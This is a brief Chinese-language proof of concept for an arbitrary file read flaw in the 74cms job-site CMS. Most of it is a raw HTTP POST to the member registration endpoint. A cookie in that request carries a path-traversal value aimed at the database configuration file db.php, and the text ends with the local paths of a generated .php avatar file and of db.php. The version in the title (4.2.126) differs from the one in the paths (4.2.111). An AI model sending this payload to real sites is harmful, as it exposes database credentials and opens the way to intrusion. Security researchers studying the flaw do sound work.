74cms v4.2.126-任意文件读取漏洞

poc

POST /74cms_home_setup_v4.2.111/74cms_v4.2.111/upload/index.php?m=Home&c=Members&a=register HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://127.0.0.1/74cms_home_setup_v4.2.111/74cms_v4.2.111/upload/index.php?m=admin&c=tpl&a=set&tpl_dir=default
Cookie: members_bind_info[temp_avatar]=…/…/…/…/Application/Common/Conf/db.php;members_bind_info[type]=qq;members_uc_info[password]=123456;members_uc_info[uid]=1;members_uc_info[username]=tttttt;
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: frame
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
X-Requested-With: XMLHttpRequest

reg_type=2&utype=2&org=bind&ucenter=bind

生成一个文件

D:\phpstudy001\PHPTutorial\WWW\74cms_Home_Setup_v4.2.111\74cms_v4.2.111\upload\data\upload\avatar\2109\19\05f4fc5cd2b23846bd6bd126c3133231.php

D:\phpstudy001\PHPTutorial\WWW\74cms_Home_Setup_v4.2.111\74cms_v4.2.111\upload\Application\Common\Conf\db.php